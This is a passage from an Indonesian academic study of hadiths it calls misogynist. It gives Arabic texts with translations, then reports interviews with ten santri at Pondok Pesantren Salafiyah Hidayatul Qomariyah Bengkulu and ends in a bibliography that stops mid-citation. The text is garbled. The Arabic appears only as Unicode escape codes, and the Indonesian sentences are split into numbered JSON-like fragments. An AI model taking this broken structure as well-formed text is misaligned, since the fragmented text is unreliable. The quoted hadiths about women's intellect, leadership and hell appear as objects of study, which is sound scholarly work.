\u0631\u064e\u0636\u0650\u064a\u064e \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0639\u064e\u0646\u0652\u0647\u064f \u060c \u0642\u064e\u0627\u0644\u064e : \u0642\u064e\u0627\u0644\u064e \u0631\u064e\u0633\u064f\u0648\u0644\u064f \u0627\u0644\u0644\u0647\u0650 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 : \u0627\u0633\u0652\u062a\u064e\u0648\u0652\u0635\u064f\u0648\u0627 \u0628\u0650\u0627\u0644\u0646\u0651\u0650\u0633\u064e\u0627\u0621\u0650 \u0641\u064e\u0625\u0650\u0646\u0651\u064e \u0627\u0644\u0652\u0645\u064e\u0631\u0652\u0623\u064e\u0629\u064e \u062e\u064f\u0644\u0650\u0642\u064e\u062a\u0652 \u0645\u0650\u0646\u0652 \u0636\u0650\u0644\u064e\u0639\u064d \u0648\u064e\u0625\u0650\u0646\u0651\u064e \u0623\u064e\u0639\u0652\u0648\u064e\u062c\u064e \u0634\u064e\u064a\u0652\u0621\u064d \u0641\u0650\u064a \u0627\u0644\u0636\u0651\u0650\u0644\u064e\u0639\u0650 \u0623\u064e\u0639\u0652\u0644\u0627\u064e\u0647\u064f \u0641\u064e\u0625\u0650\u0646\u0652 \u0630\u064e\u0647\u064e\u0628\u0652\u062a\u064e \u062a\u064f\u0642\u0650\u064a\u0645\u064f\u0647\u064f \u0643\u064e\u0633\u064e\u0631\u0652\u062a\u064e\u0647\u064f \u0648\u064e\u0625\u0650\u0646\u0652 \u062a\u064e\u0631\u064e\u0643\u0652\u062a\u064e\u0647\u064f \u0644\u064e\u0645\u0652 \u064a\u064e\u0632\u064e\u0644\u0652 \u0623\u064e\u0639\u0652\u0648\u064e\u062c\u064e \u0641\u064e\u0627\u0633\u0652\u062a\u064e\u0648\u0652\u0635\u064f\u0648\u0627 \u0628\u0650\u0627\u0644\u0646\u0651\u0650\u0633\u064e\u0627\u0621.  Abu Kuraib dan Musa bin Khizam menceritakan kepada kami","26464":"mereka berkata","26465":"Khuzain bin Ali dari Zaidah dari Maysyaroh Al-Asyja`i menceritakan kepada kami","26466":"dari Abi Khizam","26467":"dari Abi Hurairoh ra","26468":"berkata: \u201cRasulullah saw bersabda:\u201cBerwasiatlah kalian kepada perempuan","26469":"karena perempuan diciptakan dari tulang rusuk dan sesungguhnya tulang rusuk yang paling bengkok adalah yang paling atas. Apabila kamu bermaksud untuk meluruskan nya","26470":"maka kamu mematahkannya. Dan jika kamu biarkan maka ia akan tetap bengkok. Berwasiatlah kepada perempuan \u201d (HR Al-Bukh\u00e2r\u00ee).  Kedua","26471":"Hadis tentang perempuan kurang akal dan agamanya. \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0633\u064e\u0639\u0650\u064a\u062f\u064f \u0628\u0652\u0646\u064f \u0623\u064e\u0628\u0650\u064a \u0645\u064e\u0631\u0652\u064a\u064e\u0645\u064e \u0642\u064e\u0627\u0644\u064e : \u0623\u064e\u062e\u0652\u0628\u064e\u0631\u064e\u0646\u064e\u0627 \u0645\u064f\u062d\u064e\u0645\u0651\u064e\u062f\u064f \u0628\u0652\u0646\u064f \u062c\u064e\u0639\u0652\u0641\u064e\u0631\u064d \u0642\u064e\u0627\u0644\u064e : \u0623\u064e\u062e\u0652\u0628\u064e\u0631\u064e\u0646\u0650\u064a \u0632\u064e\u064a\u0652\u062f\u064c \u060c \u0647\u064f\u0648\u064e \u0627\u0628\u0652\u0646\u064f \u0623\u064e\u0633\u0652\u0644\u064e\u0645\u064e - \u0639\u064e\u0646\u0652 \u0639\u0650\u064a\u064e\u0627\u0636\u0650 \u0628\u0652\u0646\u0650 \u0639\u064e\u0628\u0652\u062f\u0650 \u0627\u0644\u0644\u0647\u0650 \u060c \u0639\u064e\u0646\u0652 \u0623\u064e\u0628\u0650\u064a \u0633\u064e\u0639\u0650\u064a\u062f\u064d \u0627\u0644\u0652\u062e\u064f\u062f\u0652\u0631\u0650\u064a\u0651\u0650 \u0642\u064e\u0627\u0644\u064e \u062e\u064e\u0631\u064e\u062c\u064e \u0631\u064e\u0633\u064f\u0648\u0644\u064f \u0627\u0644\u0644\u0647\u0650 \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0641\u0650\u064a \u0623\u064e\u0636\u0652\u062d\u064b\u0649 \u060c \u0623\u064e\u0648\u0652 \u0641\u0650\u0637\u0652\u0631\u064d - \u0625\u0650\u0644\u064e\u0649 \u0627\u0644\u0652\u0645\u064f\u0635\u064e\u0644\u0651\u064e\u0649 \u0641\u064e\u0645\u064e\u0631\u0651\u064e \u0639\u064e\u0644\u064e\u0649 \u0627\u0644\u0646\u0651\u0650\u0633\u064e\u0627\u0621\u0650 \u0641\u064e\u0642\u064e\u0627\u0644\u064e \u064a\u064e\u0627 \u0645\u064e\u0639\u0652\u0634\u064e\u0631\u064e \u0627\u0644\u0646\u0651\u0650\u0633\u064e\u0627\u0621\u0650 \u062a\u064e\u0635\u064e\u062f\u0651\u064e\u0642\u0652\u0646\u064e \u0641\u064e\u0625\u0650\u0646\u0651\u0650\u064a \u0623\u064f\u0631\u0650\u064a\u062a\u064f\u0643\u064f\u0646\u0651\u064e \u0623\u064e\u0643\u0652\u062b\u064e\u0631\u064e \u0623\u064e\u0647\u0652\u0644\u0650 \u0627\u0644\u0646\u0651\u064e\u0627\u0631\u0650 \u0641\u064e\u0642\u064f\u0644\u0652\u0646\u064e \u0648\u064e\u0628\u0650\u0645\u064e \u064a\u064e\u0627 \u0631\u064e\u0633\u064f\u0648\u0644\u064e \u0627\u0644\u0644\u0647\u0650 \u0642\u064e\u0627\u0644\u064e \u062a\u064f\u0643\u0652\u062b\u0650\u0631\u0652\u0646\u064e \u0627\u0644\u0644\u0651\u064e\u0639\u0652\u0646\u064e \u0648\u064e\u062a\u064e\u0643\u0652\u0641\u064f\u0631\u0652\u0646\u064e \u0627\u0644\u0652\u0639\u064e\u0634\u0650\u064a\u0631\u064e \u0645\u064e\u0627 \u0631\u064e\u0623\u064e\u064a\u0652\u062a\u064f \u0645\u0650\u0646\u0652 \u0646\u064e\u0627\u0642\u0650\u0635\u064e\u0627\u062a\u0650 \u0639\u064e\u0642\u0652\u0644\u064d \u0648\u064e\u062f\u0650\u064a\u0646\u064d \u0623\u064e\u0630\u0652\u0647\u064e\u0628\u064e \u0644\u0650\u0644\u064f\u0628\u0651\u0650 \u0627\u0644\u0631\u0651\u064e\u062c\u064f\u0644\u0650 \u0627\u0644\u0652\u062d\u064e\u0627\u0632\u0650\u0645\u0650 \u0645\u0650\u0646\u0652 \u0625\u0650\u062d\u0652\u062f\u064e\u0627\u0643\u064f\u0646\u0651\u064e \u0642\u064f\u0644\u0652\u0646\u064e \u0648\u064e\u0645\u064e\u0627 \u0646\u064f\u0642\u0652\u0635\u064e\u0627\u0646\u064f \u062f\u0650\u064a\u0646\u0650\u0646\u064e\u0627 \u0648\u064e\u0639\u064e\u0642\u0652\u0644\u0650\u0646\u064e\u0627 \u064a\u064e\u0627 \u0631\u064e\u0633\u064f\u0648\u0644\u064e \u0627\u0644\u0644\u0647\u0650 \u0642\u064e\u0627\u0644\u064e \u0623\u064e\u0644\u064e\u064a\u0652\u0633\u064e \u0634\u064e\u0647\u064e\u0627\u062f\u064e\u0629\u064f \u0627\u0644\u0652\u0645\u064e\u0631\u0652\u0623\u064e\u0629\u0650 \u0645\u0650\u062b\u0652\u0644\u064e \u0646\u0650\u0635\u0652\u0641\u0650 \u0634\u064e\u0647\u064e\u0627\u062f\u064e\u0629\u0650 \u0627\u0644\u0631\u0651\u064e\u062c\u064f\u0644\u0650 \u0642\u064f\u0644\u0652\u0646\u064e \u0628\u064e\u0644\u064e\u0649 \u0642\u064e\u0627\u0644\u064e \u0641\u064e\u0630\u064e\u0644\u0650\u0643\u064e \u0645\u0650\u0646\u0652 \u0646\u064f\u0642\u0652\u0635\u064e\u0627\u0646\u0650 \u0639\u064e\u0642\u0652\u0644\u0650\u0647\u064e\u0627 \u0623\u064e\u0644\u064e\u064a\u0652\u0633\u064e \u0625\u0650\u0630\u064e\u0627 \u062d\u064e\u0627\u0636\u064e\u062a\u0652 \u0644\u064e\u0645\u0652 \u062a\u064f\u0635\u064e\u0644\u0651\u0650 \u0648\u064e\u0644\u064e\u0645\u0652 \u062a\u064e\u0635\u064f\u0645\u0652 \u0642\u064f\u0644\u0652\u0646\u064e \u0628\u064e\u0644\u064e\u0649 \u0642\u064e\u0627\u0644\u064e \u0641\u064e\u0630\u064e\u0644\u0650\u0643\u064e \u0645\u0650\u0646\u0652 \u0646\u064f\u0642\u0652\u0635\u064e\u0627\u0646\u0650 \u062f\u0650\u064a\u0646\u0650\u0647\u064e\u0627.  Telah menceritakan kepada kami Said bin Abi Maryam","26472":"dia berkata: Muhammad bin Ja`far mengabarkan kepada kami","26473":"dia berkata: Telah mengabarkan kepadaku Zaid","26474":"dia bin Aslam","26475":"dari `Iyad bin Abdillah","26476":"dari Ab\u00ee Sa\u2018id Al-Khudr\u00ee ia berkata :\u201cRasululah sallallahu \u2018alaihi wasallam pada hari Iedul Adha atau Fitri keluar menuju tempat sholat","26477":"beliau melewati para wanita seraya bersabda :\u201cwahai para wanita! Hendaklah kalian bersekahlah","26478":"sebab diperlihatkan kepadaku bahwa kalian adalah yang paling banyak menghuni neraka.\u201d Kami bertanya","26479":"\u201cApa sebabnya Wahai Rasulullah?\u201d beliau menjawab :\u201dKalian banyak melaknat dan banyak mengingkari pemberian suami. Dan aku tidak pernah melihat dari tulang laki-laki yang akalnya lebih cepat hilang dan lemah agamanya selain kalian.\u201dKami bertanya lagi","26480":"\u201cWahai Rasulullah","26481":"apa tanda dari kurangnya akal dan lemahnya agama?\u201d Beliau menjawab :\u201dBukankah persaksian seorang wanita setengah dari persaksian lakilaki?\u201d Kami menjawab","26482":"\u201cBenar.\u201d Beliau berkata lagi :\u201d Itulah kekurangan akalnya. Dan bukankah seorang wanita bila dia sedang haid dia tidak sholat dan puasa?\u201d Kami menjawab","26483":"\u201dBenar.\u201d Beliau berkata :\u201cItulah kekurangan agamanya.\u201d (HR Al-Bukhari).          Ketiga","26484":"Hadis tentang kepemimpinan perempuan. \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0639\u064f\u062b\u0652\u0645\u064e\u0627\u0646\u064f \u0628\u0652\u0646\u064f \u0627\u0644\u0652\u0647\u064e\u064a\u0652\u062b\u064e\u0645\u0650\u060c \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0639\u064e\u0648\u0652\u0641\u064c \u060c \u0639\u064e\u0646\u0650 \u0627\u0644\u0652\u062d\u064e\u0633\u064e\u0646\u0650 \u060c \u0639\u064e\u0646\u0652 \u0623\u064e\u0628\u0650\u064a \u0628\u064e\u0643\u0652\u0631\u064e\u0629\u064e \u0642\u064e\u0627\u0644\u064e \u0644\u064e\u0642\u064e\u062f\u0652 \u0646\u064e\u0641\u064e\u0639\u064e\u0646\u0650\u064a \u0627\u0644\u0644\u0651\u064e\u0647\u064f \u0628\u0650\u0643\u064e\u0644\u0650\u0645\u064e\u0629\u064d \u0623\u064e\u064a\u0651\u064e\u0627\u0645\u064e \u0627\u0644\u0652\u062c\u064e\u0645\u064e\u0644\u0650 \u0644\u064e\u0645\u0651\u064e\u0627 \u0628\u064e\u0644\u064e\u063a\u064e \u0627\u0644\u0646\u0651\u064e\u0628\u0650\u064a\u0651\u064e \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0623\u064e\u0646\u0651\u064e \u0641\u064e\u0627\u0631\u0650\u0633\u064b\u0627 \u0645\u064e\u0644\u0651\u064e\u0643\u064f\u0648\u0627 \u0627\u0628\u0652\u0646\u064e\u0629\u064e \u0643\u0650\u0633\u0652\u0631\u064e\u0649 \u0642\u064e\u0627\u0644\u064e \u0644\u064e\u0646\u0652 \u064a\u064f\u0641\u0652\u0644\u0650\u062d\u064e \u0642\u064e\u0648\u0652\u0645\u064c \u0648\u064e\u0644\u0651\u064e\u0648\u0652\u0627 \u0623\u064e\u0645\u0652\u0631\u064e\u0647\u064f\u0645\u064f \u0627\u0645\u0652\u0631\u064e\u0623\u064e\u0629\u064b .  Telah menceritakan kepada kami Utsman bin al-haisyam","26485":"telah menceritakan kepada kami `Auf","26486":"dari Hasan","26487":"dari Abi Bakrah","26488":"dia berkata: \"sungguh Allah memberiku sebuah pemahaman sabda dari Nabi SAW. yang bermanfaat pada saat perang Jamal; ketika Nabi SAW. mendengar rakyat Persia mengangkat putri raja Kisra menjadi raja","26489":"beliau bersabda; \"tidak akan dapat meraih kejayaan","26490":"negara yang dipimpin oleh seorang perempuan\". (HR. Al-Bukhori).  Keempat","26491":"Hadis tentang perempuan menjadi pemutus sholat.  \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0623\u064e\u0628\u064f\u0648 \u0628\u064e\u0643\u0652\u0631\u0650 \u0628\u0652\u0646\u064f \u0623\u064e\u0628\u0650\u0649 \u0634\u064e\u064a\u0652\u0628\u064e\u0629\u064e \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0625\u0650\u0633\u0652\u0645\u064e\u0627\u0639\u0650\u064a\u0644\u064f \u0627\u0628\u0652\u0646\u064f \u0639\u064f\u0644\u064e\u064a\u0651\u064e\u0629\u064e \u062d \u0642\u064e\u0627\u0644\u064e \u0648\u064e\u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u0650\u0649 \u0632\u064f\u0647\u064e\u064a\u0652\u0631\u064f \u0628\u0652\u0646\u064f \u062d\u064e\u0631\u0652\u0628\u064d \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0625\u0650\u0633\u0652\u0645\u064e\u0627\u0639\u0650\u064a\u0644\u064f \u0628\u0652\u0646\u064f \u0625\u0650\u0628\u0652\u0631\u064e\u0627\u0647\u0650\u064a\u0645\u064e \u0639\u064e\u0646\u0652 \u064a\u064f\u0648\u0646\u064f\u0633\u064e \u0639\u064e\u0646\u0652 \u062d\u064f\u0645\u064e\u064a\u0652\u062f\u0650 \u0628\u0652\u0646\u0650 \u0647\u0650\u0644\u0627\u064e\u0644\u064d \u0639\u064e\u0646\u0652 \u0639\u064e\u0628\u0652\u062f\u0650 \u0627\u0644\u0644\u0651\u064e\u0647\u0650 \u0628\u0652\u0646\u0650 \u0627\u0644\u0635\u0651\u064e\u0627\u0645\u0650\u062a\u0650 \u0639\u064e\u0646\u0652 \u0623\u064e\u0628\u0650\u0649 \u0630\u064e\u0631\u0651\u064d \u0642\u064e\u0627\u0644\u064e \u0642\u064e\u0627\u0644\u064e \u0631\u064e\u0633\u064f\u0648\u0644\u064f \u0627\u0644\u0644\u0651\u064e\u0647\u0650 -\u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645- \u00ab \u0625\u0650\u0630\u064e\u0627 \u0642\u064e\u0627\u0645\u064e \u0623\u064e\u062d\u064e\u062f\u064f\u0643\u064f\u0645\u0652 \u064a\u064f\u0635\u064e\u0644\u0651\u0650\u0649 \u0641\u064e\u0625\u0650\u0646\u0651\u064e\u0647\u064f \u064a\u064e\u0633\u0652\u062a\u064f\u0631\u064f\u0647\u064f \u0625\u0650\u0630\u064e\u0627 \u0643\u064e\u0627\u0646\u064e \u0628\u064e\u064a\u0652\u0646\u064e \u064a\u064e\u062f\u064e\u064a\u0652\u0647\u0650 \u0645\u0650\u062b\u0652\u0644\u064f \u0622\u062e\u0650\u0631\u064e\u0629\u0650 \u0627\u0644\u0631\u0651\u064e\u062d\u0652\u0644\u0650 \u0641\u064e\u0625\u0650\u0630\u064e\u0627 \u0644\u064e\u0645\u0652 \u064a\u064e\u0643\u064f\u0646\u0652 \u0628\u064e\u064a\u0652\u0646\u064e \u064a\u064e\u062f\u064e\u064a\u0652\u0647\u0650 \u0645\u0650\u062b\u0652\u0644\u064f \u0622\u062e\u0650\u0631\u064e\u0629\u0650 \u0627\u0644\u0631\u0651\u064e\u062d\u0652\u0644\u0650 \u0641\u064e\u0625\u0650\u0646\u0651\u064e\u0647\u064f \u064a\u064e\u0642\u0652\u0637\u064e\u0639\u064f \u0635\u064e\u0644\u0627\u064e\u062a\u064e\u0647\u064f \u0627\u0644\u0652\u062d\u0650\u0645\u064e\u0627\u0631\u064f \u0648\u064e\u0627\u0644\u0652\u0645\u064e\u0631\u0652\u0623\u064e\u0629\u064f \u0648\u064e\u0627\u0644\u0652\u0643\u064e\u0644\u0652\u0628\u064f \u0627\u0644\u0623\u064e\u0633\u0652\u0648\u064e\u062f\u064f \u00bb. \u0642\u064f\u0644\u0652\u062a\u064f \u064a\u064e\u0627 \u0623\u064e\u0628\u064e\u0627 \u0630\u064e\u0631\u0651\u064d \u0645\u064e\u0627 \u0628\u064e\u0627\u0644\u064f \u0627\u0644\u0652\u0643\u064e\u0644\u0652\u0628\u0650 \u0627\u0644\u0623\u064e\u0633\u0652\u0648\u064e\u062f\u0650 \u0645\u0650\u0646\u064e \u0627\u0644\u0652\u0643\u064e\u0644\u0652\u0628\u0650 \u0627\u0644\u0623\u064e\u062d\u0652\u0645\u064e\u0631\u0650 \u0645\u0650\u0646\u064e \u0627\u0644\u0652\u0643\u064e\u0644\u0652\u0628\u0650 \u0627\u0644\u0623\u064e\u0635\u0652\u0641\u064e\u0631\u0650 \u0642\u064e\u0627\u0644\u064e \u064a\u064e\u0627 \u0627\u0628\u0652\u0646\u064e \u0623\u064e\u062e\u0650\u0649 \u0633\u064e\u0623\u064e\u0644\u0652\u062a\u064f \u0631\u064e\u0633\u064f\u0648\u0644\u064e \u0627\u0644\u0644\u0651\u064e\u0647\u0650 -\u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645- \u0643\u064e\u0645\u064e\u0627 \u0633\u064e\u0623\u064e\u0644\u0652\u062a\u064e\u0646\u0650\u0649 \u0641\u064e\u0642\u064e\u0627\u0644\u064e \u00ab \u0627\u0644\u0652\u0643\u064e\u0644\u0652\u0628\u064f \u0627\u0644\u0623\u064e\u0633\u0652\u0648\u064e\u062f\u064f \u0634\u064e\u064a\u0652\u0637\u064e\u0627\u0646\u064c  Dari Abu Dzarr dia berkata; Rasulullah saw bersabda: Apabila salah seorang diantara kalian shalat","26492":"hendaknya dia membuat pembatas di hadapannya seperti kayu yang dijadikan sandaran di belakang pelana. Karena kalau tidak ada pembatasnya","26493":"shalatnya akan terputus apabila lewat di hadapannya seorang perempuan","26494":"keledai dan anjing hitam. Lalu aku bertanya kepada Abu Dzar","26495":"kenapa yang berwarna hitam","26496":"bagaimana dengan warna kuning atau merah? Dia menjawab","26497":"\"Saya pernah bertanya kepada Rasulullah saw sebagaimana yang anda tanyakan kepadaku","26498":"dan beliau saw menjawab; Anjing hitam adalah setan.\" (HR. An-Nasa'i). Kelima Hadis tentang penghuni neraka terbanyak adalah perempuan. \u062d\u064e\u062f\u0651\u064e\u062b\u064e\u0646\u064e\u0627 \u0639\u064e\u0628\u0652\u062f\u064f \u0627\u0644\u0644\u0647\u0650 \u0628\u0652\u0646\u064f \u0645\u064e\u0633\u0652\u0644\u064e\u0645\u064e\u0629\u064e \u060c \u0639\u064e\u0646\u0652 \u0645\u064e\u0627\u0644\u0650\u0643\u064d \u060c \u0639\u064e\u0646\u0652 \u0632\u064e\u064a\u0652\u062f\u0650 \u0628\u0652\u0646\u0650 \u0623\u064e\u0633\u0652\u0644\u064e\u0645\u064e \u060c \u0639\u064e\u0646\u0652 \u0639\u064e\u0637\u064e\u0627\u0621\u0650 \u0628\u0652\u0646\u0650 \u064a\u064e\u0633\u064e\u0627\u0631\u064d \u060c \u0639\u064e\u0646\u0650 \u0627\u0628\u0652\u0646\u0650 \u0639\u064e\u0628\u0651\u064e\u0627\u0633\u064d \u0642\u064e\u0627\u0644\u064e : \u0642\u064e\u0627\u0644\u064e \u0627\u0644\u0646\u0651\u064e\u0628\u0650\u064a\u0651\u064f \u0635\u0644\u0649 \u0627\u0644\u0644\u0647 \u0639\u0644\u064a\u0647 \u0648\u0633\u0644\u0645 \u0623\u064f\u0631\u0650\u064a\u062a\u064f \u0627\u0644\u0646\u0651\u064e\u0627\u0631\u064e \u0641\u064e\u0625\u0650\u0630\u064e\u0627 \u0623\u064e\u0643\u0652\u062b\u064e\u0631\u064f \u0623\u064e\u0647\u0652\u0644\u0650\u0647\u064e\u0627 \u0627\u0644\u0646\u0651\u0650\u0633\u064e\u0627\u0621\u064f \u064a\u064e\u0643\u0652\u0641\u064f\u0631\u0652\u0646\u064e \u0642\u0650\u064a\u0644\u064e \u0623\u064e\u064a\u064e\u0643\u0652\u0641\u064f\u0631\u0652\u0646\u064e \u0628\u0650\u0627\u0644\u0644\u0651\u064e\u0647\u0650 \u0642\u064e\u0627\u0644\u064e \u064a\u064e\u0643\u0652\u0641\u064f\u0631\u0652\u0646\u064e \u0627\u0644\u0652\u0639\u064e\u0634\u0650\u064a\u0631\u064e \u0648\u064e\u064a\u064e\u0643\u0652\u0641\u064f\u0631\u0652\u0646\u064e \u0627\u0644\u0625\u0650\u062d\u0652\u0633\u064e\u0627\u0646\u064e \u0644\u064e\u0648\u0652 \u0623\u064e\u062d\u0652\u0633\u064e\u0646\u0652\u062a\u064e \u0625\u0650\u0644\u064e\u0649 \u0625\u0650\u062d\u0652\u062f\u064e\u0627\u0647\u064f\u0646\u0651\u064e \u0627\u0644\u062f\u0651\u064e\u0647\u0652\u0631\u064e \u062b\u064f\u0645\u0651\u064e \u0631\u064e\u0623\u064e\u062a\u0652 \u0645\u0650\u0646\u0652\u0643\u064e \u0634\u064e\u064a\u0652\u0626\u064b\u0627 \u0642\u064e\u0627\u0644\u064e\u062a\u0652 \u0645\u064e\u0627 \u0631\u064e\u0623\u064e\u064a\u0652\u062a\u064f \u0645\u0650\u0646\u0652\u0643\u064e \u062e\u064e\u064a\u0652\u0631\u064b\u0627 \u0642\u064e\u0637\u0651\u064f.   Dan aku melihat neraka. Aku belum pernah sama sekali melihat pemandangan seperti hari ini. Dan aku lihat ternyata kebanyakan penghuninya adalah para wanita.\" Mereka bertanya","26499":"\"Kenapa para wanita menjadi mayoritas penghuni neraka","26500":"ya Rasulullah?\" Beliau menjawab","26501":"\"Disebabkan kekufuran mereka.\" Ada yang bertanya kepada beliau","26502":"\"Apakah para wanita itu kufur kepada Allah?\" Beliau menjawab","26503":"\"(Tidak","26504":"melainkan) mereka kufur kepada suami dan mengkufuri kebaikan (suami). Seandainya engkau berbuat baik kepada salah seorang istri kalian pada suatu waktu","26505":"kemudian suatu saat ia melihat darimu ada sesuatu (yang tidak berkenan di hatinya) niscaya ia akan berkata","26506":"'Aku sama sekali belum pernah melihat kebaikan darimu'.\" (HR Bukhari).   3.2\t Konsep dan pemahaman santri Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu. Penulis meninvestasi pengelompokan dari hasil observasi dan wawancara terhadap para santri di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu menjadi beberapa pengetahuan dan pemahaman. Penulis menemukan beberapa cara belajar mengajar di Pondok pesantren ini","26507":"mulai dari mengaji sorogan Al-Qur`an","26508":"balah kitab (belajar kitab kuning)","26509":"dan belajar di sekolah formal.  Penulis mendapati beberapa pengajaran di Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu","26510":"sebagaimana kurikulum yang digunakan","26511":"yaitu fokus kajian Pendidikan Pondok Pesantren Salafiyah Hidayatul Qomariyah adalah Ilmu Alat yaitu Gramatika Bahasa arab yang di gunakan untuk dapat membaca Kitab Gundul (kitab yang bertuliskan arab tanpa menyertakan harokat) dan memahaminya","26512":"adapun beberapa pelajarannya antara lain Nahwu Shorof di karenakan ketika beliau belajar di Lirboyo di titik beratkan pada pendidikan Alat.  Dimana para santri diutamakan bisa dan paham tehadap ilmu-ilmu yang berkaitan dengan kitab kuning yang sehari-hari para santri pelajari dengan kiyai dan para ustadz-ustadzah. Selanjutnya setelah penulis melakukan penelitian dengan perantara wawancara terhadap beberapa santri yang dipilih","26513":"maka penulis membagi pemahaman para santri tiga yaitu pemahaman santri yang tidak setuju atau paham yang menyatakan bahwa tidak ada kebencian pada Hadis Nabi","26514":"kedua pemahaman para santri yang setuju atau tidak paham","26515":"yang menayatakan bahwa Hadis Nabi memiliki unsur kebencian terhadap perempuan di dalamnya","26516":"dan yang ketiga pemahaman para santri yang agak setuju atau ragu-ragu dalam menyatakan pengetahuannya tentang Hadis misoginis.  Penulis memilih 10 santri Pondok Pesantren Salafiyah Hidayatul Qomariyah Bengkulu yang terdiri dari","26517":"seorang santri yang menjadi ketua pengurus santri putri","26518":"2 santri pengabdian (santri yang sudah lulus tapi masih mengaji dipondok) dan 7 santri diniyah kelas aliyah. Para santri ini diminta untuk menyampaikan pendapat dan pemahamannya mengenai Hadis-Hadis misoginis yang diteliti oleh penulis. Pertama","26519":"pemahaman santri yang tidak setuju atau paham yang menyatakan bahwa tidak ada kebencian pada Hadis Nabi","26520":"penulis mendapatkan pendapat dari ketua pengurus santri dan seorang santri pengabdian berpendapat bahwa mereka tidak setuju jika adanya istilah misoginis ini karena mereka berpendapat pemahaman misoginis ini sangat tidak sejalan dengan ajaran Nabi terhadap ummatnya untuk saling menghormati","26521":"namun kebalikannya dengan pemahaman ini yang menyatakan bahwa ada kebencian di dalam Hadis yang ditujukan kepada kaum perempuan saja.  Kedua","26522":"pemahaman para santri yang setuju atau tidak paham","26523":"pemahaman ini diutarakan dari para santri kelas 1","26524":"2 dan 3 aliyah","26525":"mereka berpendapat bahwa adanya istilah misoginis ini merupakan jalan untuk mendapatkan hak-hak para kaum perempuan yang selama ini banyak terhalangi","26526":"oleh karena itu mereka setuju jika di dalam Hadis-Hadis yang diangkat oleh peneliti itu semua termasuk atau tergolong misoginis.   Ketiga","26527":"pemahaman dari para santri yang agak setuju atau ragu-ragu dalam memahami Hadis misoginis","26528":"penulis menerima pendapat dari santri diniyah kelas 1 aliyah dan santri pengabdian","26529":"di sini mereka berpendapat bahwa tidak menyetujui da nada pulan menyetujui istilah misoginis","26530":"akan tetapi mereka tidak menyetujui jika Nabi SAW dikatakan membenci para kaum perempuan","26531":"atau bahkan tersirat seperti tidak adil pada ummatnya. Keduanya memilih digaris tengah","26532":"yaitu agak setuju atau ragu-ragu karena faktor pemahamannya yang kurang luas maka keduanya banyak menyatakan keraguan dalam menjawab semua pertanyaan dari peneliti.     4.\tKesimpulan. Penulis mendapatkan lalu menyimpulkan dari penelitian ini yaitu dapat diketahui para santri disini ada yang menyetujui bahwa Hadis yang diteliti termasuk misoginis","26533":"beberapa santri yang menolak atau tidak setuju jika Hadis yang diteliti adalah termasuk misoginis dan beberapa santri yang masih ragu dalam memahami Hadis ini. Perbedaan pemahaman ini menurut penulis disebabkan karena emosional dari dalam diri santri tersebut","26534":"juga karena beda pemahaman yang didapatkan dari guru-guru yang berbeda. Dalam memahami Hadis misoginis","26535":"beberapa santri memilih memahami secara tekstual","26536":"dan adapula yang memahami secara kontekstual. Santri yang memahami secara tekstual cenderung memahami Hadis sesuai teks Hadis tersebut","26537":"bilamana di dalam Hadis ini menerangkan banyak kaum perempuan yang masuk neraka","26538":"maka mereka memahami bahwa benar adanya seperti itu","26539":"karena mereka percaya bahwa Rasulullah memiliki sifat jujur seperti berita didalam Hadis ini. Namun","26540":"mereka juga menyampaikan bahwa Hadis-Hadis ini memiliki nasihat agar para kaum perempuan khususnya","26541":"lebih berhati-hati agar setiap yang diperbuat tidak menyebabkan dirinya akan masuk neraka.  Sedangkan para santri yang memahami secara kontekstual akan memahami secara kondisi pada masa dahulu dan saat ini","26542":"begitupun dalam memahami asbabul wurudnya. Seperti halnya Hadis tentang tidak layaknya perempuan menjadi pemimpin","26543":"para santri yang memahami secara kontekstual akan mencari sebab Hadis itu diturunkan","26544":"karena pada masa Rasulullah Hadis tersebut memanglah pantas untuk dipakai dikalangan orang-orang yang berbuat kejahatan demi mendapatkan tahta","26545":"namun apakah seluruh Negara yang dipimpin oleh perempuan gagal? Kan juga tidak","26546":"karena itulah mereka memahami jika Hadis tersebut bukan diperuntukan untuk kaum perempuan saja melainkan untuk para calon pemimpin Negara.    DAFTAR PUSTAKA Aan Komariah dan Djam`an Satori. 2014. Metodologi Penelitian Kualitatif. Bandung:Alfabeta.  Abdurahman Dudung. 2007. Metodologi Penelitian Sejarah. Jogjakarta:Ar-Ruzz.  Ahmad bin Syuaib Abdurrohman An-Nasa`i. Sunan An-Nasa`i.  Riyad. Maktabah Al-Ma`arif.  Bungin","26547":"M. Burhan. 2007. Penelitian kualitatif:Komunikasi","26548":"Kebijakan Publik","26549":"dan Ilmu Sosial Lainnya. Jakarta:Kencana Prenada Media Group. Cet ke-5.  Imam Abi 'Abdillah Muhammad bin Isma'il Al-Bukhari. 1993. Shahih Bukhori. Ibnu Jauzi Mesir. Cet-1. James P. Spradley. 1997.  Metode Etnografi","26550":"terj .Misbah Zulfa Elizabeth .Yogyakarta:PT. Tiara Wacana.  Kudhori Muhammad. 2017. Perlunya Memahami Hadis Secara Tekstual Dan Kontekstual Untuk Mendapatkan Pemahaman Yang Moderat \u2018Ala Madhhab Ahlisunnah Wal Jama\u2019ah.  STAI Al-Fithrah. Surabaya.  Marhamah Ade. 2019. Hadits Misoginis Perspektif Gender Dan Feminisme. Journal Of Qur\u2019an and Hadis Studie. 2","26551":"2. IAIN 